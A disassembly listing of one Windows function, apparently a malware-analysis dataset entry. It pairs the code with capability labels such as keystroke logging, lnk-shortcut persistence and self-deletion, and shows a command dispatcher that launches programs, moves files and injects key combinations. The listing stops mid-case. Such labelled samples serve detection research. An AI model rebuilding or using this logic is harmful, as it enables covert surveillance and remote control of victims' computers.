Function at 0x4d6720
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Copy file
Create directory
Create process on windows
Log keystrokes via polling
Move file
Persist via lnk shortcut
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x14e
push 0
push 0
dec ecx
jne 0x4d6728
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x19]
mov edx, dword [0x4ed9d4]
call fcn.00405200
xor eax, eax
push ebp
push 0x4dbeb1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x531ee8], 0x805
xor eax, eax
mov al, byte [ebx + 0xc]
mov dword [0x53a168], eax
xor eax, eax
mov al, byte [ebx + 0xc]
add eax, 0xfffffff6
cmp eax, 0xf5
ja case.0x4d6781.10
mov al, byte [eax + 0x4d6788]
jmp dword [eax*4 + 0x4d687e]
mov ebx, dword [ebx + 0x10]
push 0x4dbecc
push dword [0x53a350]
push 0x4dbee0
lea eax, [ebp - 0xdc]
mov edx, 3
call fcn.004048d4
push 0x4dbecc
push dword [0x53a350]
push 0x4dbef0
lea eax, [ebp - 0xe0]
mov edx, 3
call fcn.004048d4
lea eax, [ebp - 0xdc]
call fcn.004d30ec
lea eax, [ebp - 0xe0]
call fcn.004d30ec
cmp ebx, 0xa
jne 0x4d6ab2
lea edx, [ebp - 0x8c8]
mov eax, 0x13
call fcn.004a94c4
mov eax, dword [ebp - 0x8c8]
mov ecx, dword [0x53a340]
mov edx, dword [0x53a350]
call fcn.0046c0a0
test al, al
je case.0x4d6781.10
mov eax, dword [ebp - 0xdc]
call fcn.004098d0
mov eax, dword [ebp - 0xe0]
call fcn.004098d0
jmp case.0x4d6781.10
cmp ebx, 0xb
jne 0x4d6b09
push 0
mov eax, dword [0x533a70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov edx, 0x4dbf00
call fcn.004d1f78
test eax, eax
jne case.0x4d6781.10
lea edx, [ebp - 0x8cc]
mov eax, 0x13
call fcn.004a94c4
mov eax, dword [ebp - 0x8cc]
mov edx, dword [0x53a350]
call fcn.0046cc68
mov eax, dword [ebp - 0xe0]
call fcn.004098d0
jmp case.0x4d6781.10
cmp ebx, 0xc
jne 0x4d6bc8
mov edx, dword [0x533a70]
mov edx, dword [edx]
mov eax, 0x4dbf0c
call fcn.00404b50
test eax, eax
jne case.0x4d6781.10
mov dl, 1
mov eax, dword [0x414ad0]
call fcn.00403720
mov dword [ebp - 0x24], eax
push 0x4dbf18
mov eax, dword [0x533a70]
push dword [eax]
push 0x4dbf28
lea eax, [ebp - 0x8d0]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x8d0]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x8d4]
mov edx, dword [ebp - 0xe0]
call fcn.00404e18
mov eax, dword [ebp - 0x8d4]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046d948
test al, al
je 0x4d6bbb
lea edx, [ebp - 0x8d8]
mov eax, 0x13
call fcn.004a94c4
mov eax, dword [ebp - 0x8d8]
mov edx, dword [0x53a350]
call fcn.0046cc68
mov eax, dword [ebp - 0xdc]
call fcn.004098d0
mov eax, dword [ebp - 0x24]
call fcn.00403750
jmp case.0x4d6781.10
cmp ebx, 0xd
jne case.0x4d6781.10
lea edx, [ebp - 0x8dc]
mov eax, 0x13
call fcn.004a94c4
mov eax, dword [ebp - 0x8dc]
mov edx, dword [0x53a350]
call fcn.0046cc68
mov eax, dword [ebp - 0xdc]
call fcn.004098d0
mov eax, dword [ebp - 0xe0]
call fcn.004098d0
jmp case.0x4d6781.10
mov eax, 0x53a2bc
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
lea edx, [ebp - 0x8e0]
mov eax, 0x12d
call fcn.004a94c4
mov eax, dword [ebp - 0x8e0]
push eax
lea eax, [ebp - 0x8e4]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x8e4]
mov ecx, dword [0x53a2bc]
pop edx
call fcn.0046d4fc
mov byte [0x53a2c0], 1
mov eax, dword [0x539154]
call fcn.0049dbf8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e2aa4
jmp case.0x4d6781.10
lea edx, [ebp - 0x8e8]
mov eax, 0x12d
call fcn.004a94c4
mov eax, dword [ebp - 0x8e8]
push eax
lea eax, [ebp - 0x8ec]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x8ec]
xor ecx, ecx
pop edx
call fcn.0046d4fc
push 0
push 0
lea eax, [ebp - 0x8f0]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x8f0]
mov edx, 0x4dbf34
call fcn.0046d098
cmp edx, 0
jne 0x4d6ce4
cmp eax, 0
setne al
mov byte [0x53a2b4], al
lea edx, [ebp - 0x8f4]
mov al, byte [0x53a2b4]
call fcn.004ee5a4
mov edx, dword [ebp - 0x8f4]
mov eax, 0x53a2bc
call fcn.004045b0
lea eax, [ebp - 0x8f8]
call fcn.004d2f8c
mov edx, dword [ebp - 0x8f8]
mov eax, 0x53a2bc
call fcn.0040481c
mov byte [0x53a2c0], 0
mov eax, dword [0x539154]
call fcn.0049dbf8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e2aa4
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53a43d]
jne case.0x4d6781.10
cmp byte [0x532564], 0
jne case.0x4d6781.10
xor eax, eax
push ebp
push 0x4d6dd0
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x532564], 1
cmp byte [0x53a430], 0
je 0x4d6d9e
mov byte [0x53a449], 0
mov eax, dword [ebx + 0x14]
mov dword [0x53a544], eax
mov dl, 1
mov eax, dword [ebp - 0x28]
call fcn.004d50dc
jmp 0x4d6dbb
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [0x53a43d]
mov edx, 0x76
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d6781.10
mov byte [0x532564], 0
ret
cmp dword [0x531f30], 0x5230205
jb case.0x4d6781.10
mov eax, dword [ebx + 0x10]
shr eax, 8
mov byte [0x53a4ac], al
mov eax, 0x53a44f
call fcn.0040455c
mov eax, dword [ebx + 0x18]
shr eax, 0x10
mov dword [0x53a2dc], eax
mov eax, dword [ebx + 0x18]
and eax, 0xffff
mov dword [0x53a2e0], eax
jmp case.0x4d6781.10
lea edx, [ebp - 0x58]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov eax, dword [ebp - 0x58]
call fcn.004e1a20
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x1c]
mov dword [0x53a338], eax
mov eax, dword [0x53a338]
add eax, 0x5b
cmp eax, dword [0x53a3cc]
jae 0x4d6e77
push 0
push 0x3e8
mov eax, dword [0x531ef0]
mov edx, dword [0x531ef4]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d6e77
cmp eax, 0
je case.0x4d6781.10
mov eax, dword [ebx + 0x10]
mov dword [0x53a498], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53a49c], eax
push 0
push 0
push 0x502
mov eax, dword [ebp - 0x28]
call fcn.0045dd40
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d6781.10
push 0
push 0
push 0x505
mov eax, dword [ebp - 0x28]
call fcn.0045dd40
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d6781.10
push 0
push 0
push 0x503
mov eax, dword [ebp - 0x28]
call fcn.0045dd40
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d6781.10
call fcn.004d52e4
jmp case.0x4d6781.10
mov eax, dword [0x539154]
call fcn.0049dbf8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e2aa4
jmp case.0x4d6781.10
mov eax, dword [0x539154]
call fcn.0049dbf8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e2aa4
call fcn.004d5a54
xor edx, edx
mov eax, 1
call fcn.004d5a74
jmp case.0x4d6781.10
mov eax, dword [0x539154]
call fcn.0049dbf8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e2aa4
mov edx, dword [ebx + 0x10]
xor eax, eax
call fcn.004d2168
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
mov dword [0x5324fc], eax
mov eax, dword [ebx + 0x14]
mov dword [0x5324f8], eax
cmp dword [0x5324f8], 0
jg case.0x4d6781.10
mov eax, dword [0x539154]
call fcn.0049dbf8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e2aa4
mov edx, dword [0x5324fc]
mov ax, 2
call fcn.004d2168
jmp case.0x4d6781.10
mov eax, dword [0x539154]
call fcn.0049dbf8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e2aa4
mov eax, dword [0x533a54]
cmp dword [eax], 2
jne 0x4d6fc9
mov edx, dword [ebx + 0x10]
mov ax, 8
call fcn.004d2168
jmp case.0x4d6781.10
mov edx, dword [ebx + 0x10]
mov ax, 1
call fcn.004d2168
jmp case.0x4d6781.10
cmp byte [0x531f4c], 2
je case.0x4d6781.10
cmp byte [0x53a44e], 3
jne case.0x4d6781.10
cmp byte [0x53a430], 0
jne case.0x4d6781.10
mov dl, 1
mov eax, dword [0x414ad0]
call fcn.00403720
mov dword [ebp - 0x24], eax
push 0
push 0
mov eax, dword [0x53a431]
call fcn.004195e0
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
push ebp
lea edx, [ebp - 0x900]
mov eax, 0xf3
call fcn.004a94c4
mov ecx, dword [ebp - 0x900]
mov edx, dword [0x53383c]
mov edx, dword [edx]
lea eax, [ebp - 0x8fc]
call fcn.00404860
mov eax, dword [ebp - 0x8fc]
call fcn.004d654c
pop ecx
push ebp
mov eax, dword [0x53a2e4]
call fcn.004d654c
pop ecx
lea edx, [ebp - 0x15]
mov ecx, 4
mov eax, dword [0x53a431]
mov ebx, dword [eax]
call dword [ebx + 8]
cmp eax, 4
jne 0x4d70dc
cmp dword [ebp - 0x15], 0x55662143
jne 0x4d70c0
lea edx, [ebp - 0x34]
mov eax, dword [0x53a431]
call fcn.004ee188
push ebp
mov edx, dword [0x53383c]
mov edx, dword [edx]
lea eax, [ebp - 0x904]
mov ecx, dword [ebp - 0x34]
call fcn.00404860
mov eax, dword [ebp - 0x904]
call fcn.004d654c
pop ecx
jmp 0x4d706e
mov ebx, dword [0x53a431]
mov eax, ebx
call fcn.004195c0
sub eax, 4
sbb edx, 0
push edx
push eax
mov eax, ebx
call fcn.004195e0
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4d7134
lea edx, [ebp - 0x910]
mov eax, 0xb
call fcn.004a94c4
mov ecx, dword [ebp - 0x910]
mov edx, dword [0x53383c]
mov edx, dword [edx]
lea eax, [ebp - 0x90c]
call fcn.00404860
mov edx, dword [ebp - 0x90c]
lea eax, [ebp - 0x908]
call fcn.00404e18
mov eax, dword [ebp - 0x908]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046d948
jmp 0x4d7168
lea edx, [ebp - 0x918]
mov eax, 0xb
call fcn.004a94c4
mov ecx, dword [ebp - 0x918]
mov edx, dword [0x53383c]
mov edx, dword [edx]
lea eax, [ebp - 0x914]
call fcn.00404860
mov eax, dword [ebp - 0x914]
call fcn.004098d0
mov eax, dword [ebp - 0x24]
call fcn.00403750
mov eax, 0x12c
call fcn.004d1e78
mov eax, dword [0x539154]
call fcn.0049dbf8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e2aa4
call fcn.004d5a54
xor edx, edx
mov eax, 2
call fcn.004d5a74
mov byte [0x531f58], 1
push 5
mov eax, dword [0x53383c]
call fcn.00404a64
push eax
mov eax, 0x53a2e8
call fcn.00404a64
push eax
mov eax, 0x53a2e4
call fcn.00404a64
push eax
push 0x4dbf3c
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d6781.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e88
lea eax, [ebp - 0x34]
call fcn.004d30ec
push 1
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.00404a0c
push eax
push 0x4dbf3c
mov eax, dword [ebp - 0x28]
call fcn.0045dd40
push eax
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d6781.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov eax, dword [ebp - 0x34]
call fcn.00404814
mov esi, eax
inc esi
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x38]
call fcn.00409e88
mov eax, dword [ebp - 0x38]
call fcn.00404814
inc eax
add esi, eax
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x3c]
call fcn.00409e88
lea edx, [ebp - 0x91c]
mov eax, 0xf4
call fcn.004a94c4
mov edx, dword [ebp - 0x91c]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d72aa
lea eax, [ebp - 0x38]
call fcn.004d30ec
lea eax, [ebp - 0x3c]
call fcn.004d30ec
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097b4
push 0
mov eax, dword [ebp - 0x3c]
call fcn.00404a0c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a0c
push eax
call sub.kernel32.dll_CopyFileA
jmp case.0x4d6781.10
lea edx, [ebp - 0x920]
mov eax, 0xf5
call fcn.004a94c4
mov edx, dword [ebp - 0x920]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d73e3
mov eax, dword [ebp - 0x38]
call fcn.00404814
cmp eax, 3
jle case.0x4d6781.10
lea eax, [ebp - 0x38]
call fcn.004d30ec
mov eax, dword [ebp - 0x38]
call fcn.0046d69c
test al, al
je 0x4d730d
mov eax, dword [ebp - 0x38]
call fcn.004e9fbc
mov edx, 2
mov eax, dword [ebp - 0x38]
call fcn.004d2a6c
jmp case.0x4d6781.10
mov eax, dword [ebp - 0x38]
call fcn.00462d3c
test al, al
je case.0x4d6781.10
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a674]
call fcn.0046a8fc
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e0a88
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e0cd4
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1264
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x38]
call fcn.004045b0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 1
xor eax, eax
push ebp
push 0x4d73c5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.0046a9b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d73cc
mov eax, dword [ebp - 0xd8]
call fcn.00403750
ret
lea edx, [ebp - 0x924]
mov eax, 0xf6
call fcn.004a94c4
mov edx, dword [ebp - 0x924]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d743e
lea eax, [ebp - 0x38]
call fcn.004d30ec
lea eax, [ebp - 0x3c]
call fcn.004d30ec
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097b4
push 3
mov eax, dword [ebp - 0x3c]
call fcn.00404a0c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a0c
push eax
call sub.kernel32.dll_MoveFileExA
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x14]
and eax, 1
dec eax
sete byte [0x53a510]
lea eax, [ebp - 0x3c]
call fcn.004d30ec
cmp dword [ebp - 0x3c], 0
jne 0x4d7465
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
call fcn.0046d614
lea eax, [ebp - 0x34]
call fcn.004d30ec
mov eax, 0x53a504
mov edx, dword [ebp - 0x34]
call fcn.004045b0
mov eax, 0x53a508
mov edx, dword [ebp - 0x38]
call fcn.004045b0
mov eax, 0x53a50c
mov edx, dword [ebp - 0x3c]
call fcn.004045b0
mov eax, dword [ebx + 0x10]
mov dword [0x53253c], eax
cmp dword [0x53253c], 0
jg case.0x4d6781.10
mov eax, dword [ebp - 0x28]
call fcn.004d5f18
jmp case.0x4d6781.10
lea eax, [ebp - 0x1d8]
push eax
push 0
push 0
call sub.user32.dll_EnumDisplaySettingsA
mov dword [ebp - 0x1b0], 0x1c0000
mov eax, dword [ebx + 0x10]
mov edx, eax
shr edx, 0x10
mov dword [ebp - 0x16c], edx
and eax, 0xffff
mov dword [ebp - 0x168], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x170], eax
push 1
lea eax, [ebp - 0x1d8]
push eax
call sub.user32.dll_ChangeDisplaySettingsA
jmp case.0x4d6781.10
call fcn.004d6458
jmp case.0x4d6781.10
cmp byte [0x531ff4], 1
jb case.0x4d6781.10
mov eax, dword [0x531ef0]
mov dword [0x531f00], eax
mov eax, dword [0x531ef4]
mov dword [0x531f04], eax
mov esi, dword [ebx + 0x10]
mov edi, dword [ebx + 0x14]
push 0x14
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 1
setne dl
xor al, dl
je 0x4d757c
push 0
push 0
push 0
push 0x14
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x14
call sub.user32.dll_keybd_event
test byte [ebx + 0x18], 1
setne byte [0x532584]
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 2
setne dl
xor al, dl
je 0x4d75bc
push 0
push 0
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0x91
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 4
setne dl
xor al, dl
je 0x4d75fc
push 0
push 0
push 0
push 0x91
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x91
call sub.user32.dll_keybd_event
cmp esi, 0x14
je case.0x4d6781.10
cmp esi, 0x90
je case.0x4d6781.10
cmp esi, 0x91
je case.0x4d6781.10
cmp esi, 0x10
jne 0x4d763a
test edi, 0x80000000
je 0x4d7633
mov byte [0x532588], 0
jmp 0x4d763a
mov byte [0x532588], 1
cmp esi, 0x12
jne 0x4d76a9
test edi, 0x1000000
jne 0x4d767b
test edi, 0x80000000
je 0x4d7666
mov al, byte [0x4dbf44]
not eax
and al, byte [0x532528]
mov byte [0x532528], al
jmp 0x4d7710
mov al, byte [0x4dbf44]
or al, byte [0x532528]
mov byte [0x532528], al
jmp 0x4d7710
test edi, 0x80000000
je 0x4d7697
mov al, byte [0x4dbf48]
not eax
and al, byte [0x532528]
mov byte [0x532528], al
jmp 0x4d7710
mov al, byte [0x4dbf48]
or al, byte [0x532528]
mov byte [0x532528], al
jmp 0x4d7710
cmp esi, 0x11
jne 0x4d7710
test edi, 0x1000000
jne 0x4d76e4
test edi, 0x80000000
je 0x4d76d2
mov al, byte [0x4dbf4c]
not eax
and al, byte [0x532528]
mov byte [0x532528], al
jmp 0x4d7710
mov al, byte [0x4dbf4c]
or al, byte [0x532528]
mov byte [0x532528], al
jmp 0x4d7710
test edi, 0x80000000
je 0x4d7700
mov al, byte [0x4dbf50]
not eax
and al, byte [0x532528]
mov byte [0x532528], al
jmp 0x4d7710
mov al, byte [0x4dbf50]
or al, byte [0x532528]
mov byte [0x532528], al
mov eax, dword [0x533330]
cmp dword [eax], 0
jne 0x4d771f
call fcn.004cd010
mov eax, dword [0x533254]
cmp dword [eax], 0
jne 0x4d772e
call fcn.004ce330
mov eax, dword [0x533410]
cmp dword [eax], 0
jne 0x4d773d
call fcn.004cea8c
cmp byte [0x53a2a0], 0
je 0x4d77bf
mov al, byte [0x4dbf54]
cmp al, byte [0x532528]
jne 0x4d77bf
cmp esi, 0x41
jl 0x4d775d
cmp esi, 0x5a
jle 0x4d7796
cmp esi, 0x30
jl 0x4d7767
cmp esi, 0x39
jle 0x4d7796
cmp esi, 0x60
jl 0x4d7771
cmp esi, 0x6f
jle 0x4d7796
cmp esi, 0xba
jl 0x4d7781
cmp esi, 0xc0
jle 0x4d7796
cmp esi, 0xdb
jl 0x4d7791
cmp esi, 0xde
jle 0x4d7796
cmp esi, 0x20
jne 0x4d77bf
test edi, 0x80000000
jne case.0x4d6781.10
mov edx, edi
mov eax, esi
call fcn.004d6344
xor edi, 0x80000000
mov edx, edi
mov eax, esi
call fcn.004d6344
jmp case.0x4d6781.10
mov edx, edi
mov eax, esi
call fcn.004d6344
jmp case.0x4d6781.10
cmp byte [0x531ff4], 1
jb case.0x4d6781.10
mov eax, dword [0x531ef0]
mov dword [0x531f00], eax
mov eax, dword [0x531ef4]
mov dword [0x531f04], eax
mov eax, dword [0x533330]
cmp dword [eax], 0
jne 0x4d7801
call fcn.004cd010
mov eax, dword [0x533254]
cmp dword [eax], 0
jne 0x4d7810
call fcn.004ce330
mov eax, dword [0x533410]
cmp dword [eax], 0
jne 0x4d781f
call fcn.004cea8c
mov eax, dword [0x533330]
cmp dword [eax], 0
jle 0x4d7a0a
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d6781.10
jmp dword [eax*4 + 0x4d7840]
mov eax, 0x12
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004ccbe0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004ccbe0
jmp case.0x4d6781.10
mov eax, 0x12
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004ccbe0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004ccbe0
jmp case.0x4d6781.10
mov eax, 0x11
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004ccbe0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004ccbe0
jmp case.0x4d6781.10
mov eax, 0x11
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004ccbe0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004ccbe0
jmp case.0x4d6781.10
mov eax, 0x11
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004ccbe0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004ccbe0
jmp case.0x4d6781.10
mov eax, 0x11
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004ccbc8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004ccbe0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004ccbe0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004ccbe0
jmp case.0x4d6781.10
mov eax, dword [0x533254]
cmp dword [eax], 0
jle 0x4d7cdf
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d6781.10
jmp dword [eax*4 + 0x4d7a2b]
push 0x12
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 0x12
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 0x11
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 0x11
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 0x11
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 0x11
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533920]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a4]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x533410]
cmp dword [eax], 0
jle 0x4d80d2
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d6781.10
jmp dword [eax*4 + 0x4d7d00]
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
